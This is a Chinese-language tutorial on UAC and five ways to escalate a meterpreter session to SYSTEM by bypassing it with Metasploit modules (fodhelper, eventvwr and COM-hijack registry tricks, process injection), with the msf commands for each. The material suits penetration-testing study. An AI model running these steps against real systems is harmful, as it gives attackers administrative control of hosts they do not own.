使用Metasploit繞過UAC的多種方法


 

一、用戶帳戶控制(UAC)簡介

在本文中,我們將簡要介紹一下用戶帳戶控制,即UAC。我們還將研究它如何潛在地保護免受惡意軟件的攻擊並忽略UAC提示可能給系統帶來的一些問題。

1.什么是用戶帳戶控制(UAC)?

Microsoft的Windows Vista和Windows Server 2008操作系統引入了一種良好的用戶帳戶控制架構,以防止系統范圍內的意外更改,這種更改是可以預見的,並且只需要很少的操作量。

換句話說,它是Windows的一個安全功能,它支持防止對操作系統進行未經授權的修改,UAC確保僅在管理員授權的情況下進行某些更改。如果管理員不允許更改,則不會執行這些更改,並且Windows系統保持不變。

2.UAC如何運行?

UAC通過阻止程序執行任何涉及有關系統更改/特定任務的任務來運行。除非嘗試執行這些操作的進程以管理員權限運行,否則這些操作將無法運行。如果您以管理員身份運行程序,則它將具有更多權限,因為它將被“提升權限”,而不是以管理員身份運行的程序。

 

一些沒有管理員權限無法完成的操作:

  • 注冊表修改(如果注冊表項在HKEY_LOCAL_MACHINE下(因為它影響多個用戶),它將是只讀的)
  • 加載設備驅動程序
  • DLL注入
  • 修改系統時間(時鍾)
  • 修改用戶帳戶控制設置(通過注冊表,可以啟用/禁用該設置,但您需要正確的權限才能執行此操作)
  • 修改受保護的目錄(例如Windows文件夾,Program Files)
  • 計划任務(例如,以管理員權限自動啟動)

UAC不會自動阻止惡意軟件,其目的不是確定程序是否是惡意軟件。這同樣取決於用戶。如果將以管理員權限執行程序,則將提醒用戶並且需要用戶確認。 

https://malwaretips.com/threads/why-uac-is-important-and-how-it-can-protect-you.47157/

 

二、繞過UAC的方法

首先通過explloit獲得目標主機的meterprter獲得meterpreter會話1后,輸入以下命令以檢查是否是system權限

getsystem
getuid

如果您沒有系統/管理權限。然后您應該繞過目標系統的UAC保護。

1.方法一:Windows權限升級繞過UAC保護

此模塊將通過進程注入使用可信任發布者證書繞過Windows UAC。它將生成關閉UAC標志的第二個shell。

msf   >   use   exploit / windows / local / bypassuac
msf  exploit  windows / local / bypassuac )   >   set  session   1
msf  exploit ( windows / local / bypassuac )   >   exploit

從給定的meterpreter中,您可以看到meterpreter會話2已打開,現在以下命令以確定system權限特權.

getsystem
getuid

很好, 這里我們獲得了NT AUTHORITY\SYSTEM 權限,現在如果你輸入“ shell ”命令,你將獲得具有管理員權限的命令提示符。

2.方法二:Windows權限提升繞過UAC保護(內存注入)

此模塊將通過進程注入使用可信任的發布者證書繞過Windows UAC。它將生成關閉UAC標志的第二個shell。在普通技術中,該模塊使用反射式DLL注入技術並只除去了DLL payload 二進制文件,而不是三個單獨的二進制文件。但是,它需要選擇正確的體系架構(對於SYSWOW64系統也使用x64)。如果指定exe::custom,應在單獨的進程中啟動 payload 后調用ExitProcess()

msf   >   use   exploit / windows / local / bypassuac_injection
msf  exploit ( windows / local / bypassuac_injection )   >   set  session   1
msf  exploit ( windows / local / bypassuac_injection )   >   exploit

從給定的meterpreter中,您可以看到meterpreter會話2已打開,現在輸入以下命令以確定system權限特權。

getsystem
getuid

最終你將獲得NT AUTHORITY\SYSTEM 權限,現在如果你輸入“ shell ”命令,你將獲得具有管理員權限的命令提示符。

3.方法三:繞過Windows UAC保護(通過FodHelper注冊表項)

此模塊將通過在當前用戶配置單元下劫持注冊表中的特殊鍵並插入將在啟動Windows fodhelper.exe應用程序時調用的自定義命令來繞過Windows 10 UAC。它將生成關閉UAC標志的第二個shell此模塊修改注冊表項,但在調用payload后將清除該項模塊不需要payload的體系架構和操作系統匹配。如果指定exe:custom,則應在單獨的進程中啟動payload后調用ExitProcess()。

msf   >   use   exploit / windows / local / bypassuac_fodhelper
msf  exploit ( windows / local / bypassuac_fodhelper )   >   set  session   1
msf  exploit ( windows / local / bypassuac_fodhelper )   >   exploit

從給定的meterprer中,您可以看到meterpreter會話2已打開,現在輸入以下命令以確定system權限特權

getsystem
getuid

很好, 這里我們獲得了NT AUTHORITY\SYSTEM 權限,現在如果你輸入“ shell ”命令,你將獲得具有管理員權限的命令提示符。

4.方法四:Windows權限升級繞過UAC保護(通過Eventvwr注冊表項)

此模塊將通過在當前用戶配置單元下劫持注冊表中的特殊鍵並插入將在啟動Windows事件查看器時調用的自定義命令來繞過Windows UAC。它將生成關閉UAC標志的第二個shell此模塊修改注冊表項,但在調用payload后將清除該項模塊不需要payload的體系架構和操作系統匹配如果指定EXE ::Custom,則應在單獨的進程中啟動payload后調用ExitProcess()。

msf   >   use   exploit / windows / local / bypassuac_eventvwr
msf  exploit ( windows / local / bypassuac_eventvwr )   >   set  session   1
msf  exploit ( windows / local / bypassuac_eventvwr )   >   exploit

從給定的meterpreter中,您可以看到meterpreter會話2已打開,現在輸入以下命令以確定system權限特權。

getsystem
getuid

您將再次獲得NT AUTHORITY\SYSTEM 權限。

5.方法五:Windows權限升級繞過UAC保護(通過COM處理程序劫持)

此模塊將通過在hkcu配置單元中創建COM處理程序注冊表項來繞過Windows UAC。當加載某些較高完整性級別進程時,會引用這些注冊表項,從而導致進程加載用戶控制的DLL。這些DLL包含導致會話權限提升的payload。此模塊修改注冊表項,但在調用payload后將清除該項。這個模塊需要payload的體系架構和操作系統匹配,但是當前的低權限meterpreter會話體系架構中可能不同。如果指定exe::custom,則應在單獨的進程中啟動payloa后調用ExitProcess()。此模塊通過目標上的cmd.exe調用目標二進制文件。因此,如果cmd.exe訪問受到限制,此模塊將無法正常運行。

msf   >   use   exploit / windows / local / bypassuac_comhijack
msf  exploit ( windows / local / bypassuac_comhijack )   >   set  session   1
msf  exploit ( windows / local / bypassuac_comhijack )   >   exploit
 

從給定的meterpreter中,您可以看到meterpreter會話2已打開,現在鍵入以下命令以確定system權限特權。

getsystem
getuid

最后,您將獲得NT AUTHORITY\SYSTEM 權限,現在如果您再次運行“shell”命令,那么您將獲得具有管理員權限的命令提示符訪問權限,這樣我們就可以通過Metasploit利用exploit來繞過UAC保護。

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM